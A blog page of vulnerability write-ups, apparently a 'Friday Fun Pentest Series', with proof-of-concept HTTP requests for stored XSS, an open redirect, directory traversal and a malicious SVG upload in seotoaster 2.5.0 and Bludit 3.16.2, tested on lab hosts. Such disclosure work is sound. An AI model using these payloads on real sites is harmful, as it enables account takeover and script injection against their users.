Wednesday, 30 July 2025

Friday Fun Pentest Series - 38 - Lack of Password Change Functionality - seotoasterv2.5.0

Description

- It was noted that the application lacked password change functionality


Lack of Password Change Functionality #1

Steps to Reproduce:
  1. Login with low privilege user and see that there is no password change functionality

// HTTP POST Request

POST /seotoaster/go HTTP/1.1
Host: 192.168.58.149
Content-Length: 108
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://192.168.58.149
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
[...]

email=test2%40example.com&password=Passw0rd%21&submit=Let+me+in&secureToken=477a9f50c8616d5ee4cabf2038fc43a3


// HTTP Response

HTTP/1.1 301 Moved Permanently
Date: Sun, 20 Jul 2025 14:44:11 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]



Friday Fun Pentest Series - 37 - Open Redirect "Login Page" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Open Redirect in the "Login Page"


Open Redirect "Login Page" Functionality 1#

Steps to Reproduce:
  1. Login to the application and then add the Referer header to attacker domain

// HTTP POST Request

POST /seotoaster/go HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

email=admin%40example.com&password=Pasw0rd%21&submit=Let+me+in&secureToken=f3a4d32c75942f7f284ae9189e21d431



// HTTP Response

HTTP/1.1 301 Moved Permanently
Date: Sun, 20 Jul 2025 13:55:07 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://lzoujc24ovcp1k9ky066bcmas1ysmuaj.oastify.com
[...]

Friday Fun Pentest Series - 36 - Stored XSS "Edit General Info" Functionality - seotoasterv2.5.0

 Description

- It was noted that the application was vulnerable to Cross-Site Scripting (XSS) in the "Edit General Info"


Stored XSS "Edit General Info"#1

Steps to Reproduce

  1. Login with admin and visit "Website ID Card" > "Website Id Card"
  2. In the "Organization Name" add the following payload "><img src=x onerror=alert(1)>

// HTTP POST Request

POST /seotoaster/plugin/widcard/run/setWebsiteIdCard HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
Content-Disposition: form-data; name="organization_name"

"><img src=x onerror=alert(`xss1`)>
------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
Content-Disposition: form-data; name="organization_description"

"><img src=x onerror=alert(`xss2`)>
------geckoformboundarye25c980b11fd10ddbadfbd1b54af4d87
[...]


// HTTP Response

HTTP/1.1 302 Found
Date: Sun, 20 Jul 2025 15:35:07 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]


// HTTP GET Request

GET /seotoaster/plugin/widcard/run/getWebsiteIdCard HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:35:11 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<input type="text" name="organization_name" value=""><img src=x onerror=alert(`xss1`)>" />
[...]

Friday Fun Pentest Series - 35 - Stored XSS "Create Page" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Cross-Site Scripting (XSS) in the "Create Page".


Stored XSS "Create Page" #1

Steps to Reproduce:
  1. Login with admin and visit "Pages" > "Create a Page" 
  2. In the "Meta Description" add the following payload "><img src=x onerror=alert(1)>


// HTTP POST Request

POST /seotoaster/backend/backend_page/page HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

h1=test3&headerTitle=test3&url=test3&navName=test3&metaKeywords=test3&metaDescription="><img src=x onerror=alert(1)>[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:42 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

{"error":0,"responseText":{"redirectTo":"test3.html"},"httpCode":200}


// HTTP GET Request

GET /seotoaster/test3.html HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sun, 20 Jul 2025 15:20:44 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<p class="news-description grid_10 omega">"><img src=x onerror=alert(1)></p>
</div>
[...]

Friday Fun Pentest Series - 34 - Stored XSS "Edit Header" Functionality - seotoasterv2.5.0

Description

- It was noted that the application was vulnerable to Stored Cross-Site Scripting (XSS) in the "Edit Header"


Stored XSS "Edit Header" #1

Steps to Reproduce:

  1. Login as admin user and visit "News"
  2. Click on "Edit Header Content" and enter the payload "><img src=x onerror=alert(1)>

// HTTP POST Request Editing Header

POST /seotoaster/backend/backend_content/add/containerType/3/containerName/right_2/pageId/20 HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]
content="><img src=x onerror=alert(1)>&containerType=&containerName=&pageId=&containerId=&secureToken=f617b019f0d4dc84000659711cf16b0a


// HTTP Response 

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]
{"error":0,"responseText":"148","httpCode":200}


// HTTP GET Request

GET /seotoaster/news/b2b-marketing-automation-a-booming-market-for-smart-web-agencies-1423145781.html HTTP/1.1
Host: 192.168.58.149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 19 Jul 2025 19:21:00 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

[...]
<h3>"><img src=x onerror=alert(1)><a class="tpopup generator-links" data-pwidth="600" data-pheight="140" title="Click to edit header content" href="javascript:;" data-url="http://192.168.58.149/seotoaster/backend/backend_content/edit/id/148/containerType/3"><img width="26" height="26" src="http://192.168.58.149/seotoaster/system/images/editadd-header.png" alt="edit header content" /></a></h3>
[...]


Saturday, 19 July 2025

Friday Fun Pentest Series - 33 - Directory Traversal "Site Title" - bluditv3.16.2

Description

- It was noted that the application was vulnerable to Directory Traversal in the "Site Title" 

Directory Traversal "Site Title" #1: 

Steps to Reproduce:

  1. Login with admin account and "General" > "General"
  2. Set the "Site Title" to the following payload "../../../malicious"
  3. Next click on "Logo" and the upload the SVG file


// HTTP POST Request 

POST /bludit/admin/settings HTTP/1.1
Host: 192.168.58.133
[...]

[...]title=htdocs/bludit/bl-content/uploads/../../../malicious[...]


// HTTP Response

HTTP/1.1 301 Moved Permanently
Date: Sat, 28 Jun 2025 21:27:33 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]


// HTTP POST Request Uploading SVG File

POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

------geckoformboundaryb7a89b3d43771e77a278c9384a361332
Content-Disposition: form-data; name="tokenCSRF"

59fc6f48ad5d60b39699491cada2390e1b42531b
------geckoformboundaryb7a89b3d43771e77a278c9384a361332
Content-Disposition: form-data; name="inputFile"; filename="evilsvgfile-xss-bypass.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>
------geckoformboundaryb7a89b3d43771e77a278c9384a361332--


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:28:21 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

{"status":0,"message":"Image uploaded.","filename":"..\/..\/..\/malicious.svg","absoluteURL":"http:\/\/192.168.58.133\/bludit\/bl-content\/uploads\/..\/..\/..\/malicious.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/..\/..\/..\/malicious.svg"}


root@debian:/opt/lampp/htdocs# ls -lah
total 16K
drwxrwxrwx  3 root   root   4.0K Jun 28 17:28 .
drwxr-xr-x 31 root   root   4.0K Jun  3 16:26 ..
drwxrwxrwx  7 debian debian 4.0K Aug 25  2024 bludit
-rw-r--r--  1 daemon daemon  283 Jun 28 17:28 malicious.svg


// HTTP GET Request Accessing the SVG File

GET /malicious.svg?time=0.3289154512636364 HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:28:21 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
[...]

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>

Friday Fun Pentest Series - 32 - XSS via SVG File Upload - bluditv3.16.2

Description

- It was noted that the application was vulnerable to Stored XSS via SVG file upload


XSS via SVG File Upload #1:

Steps to Reproduce:
  1. Login with admin account and click on "General" > "Logo"

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>


// HTTP POST Request Uploading the SVG File

POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 192.168.58.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
[...]

------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="tokenCSRF"
59fc6f48ad5d60b39699491cada2390e1b42531b
------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4
Content-Disposition: form-data; name="inputFile"; filename="evilsvgfile-xss-bypass.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="100" height="100" version="1.1" xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">alert('xss');</script>
</svg>

------geckoformboundarye27e3ffc54c763baa293ac2aeb3ed1a4--


// HTTP Response

HTTP/1.1 200 OK
Date: Sat, 28 Jun 2025 21:16:10 GMT
Server: Apache/2.4.37 (Unix) OpenSSL/1.0.2q PHP/5.6.40 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/5.6.40
[...]
{"status":0,"message":"Image uploaded.","filename":"test.svg","absoluteURL":"http:\/\/192.168.58.133\/bludit\/bl-content\/uploads\/test.svg","absolutePath":"\/opt\/lampp\/htdocs\/bludit\/bl-content\/uploads\/test.svg"}


Friday Fun Pentest Series - 38 - Lack of Password Change Functionality - seotoasterv2.5.0

Description - It was noted that the application lacked password change functionality Lack of Password Change Functionality #1 Steps to Repro...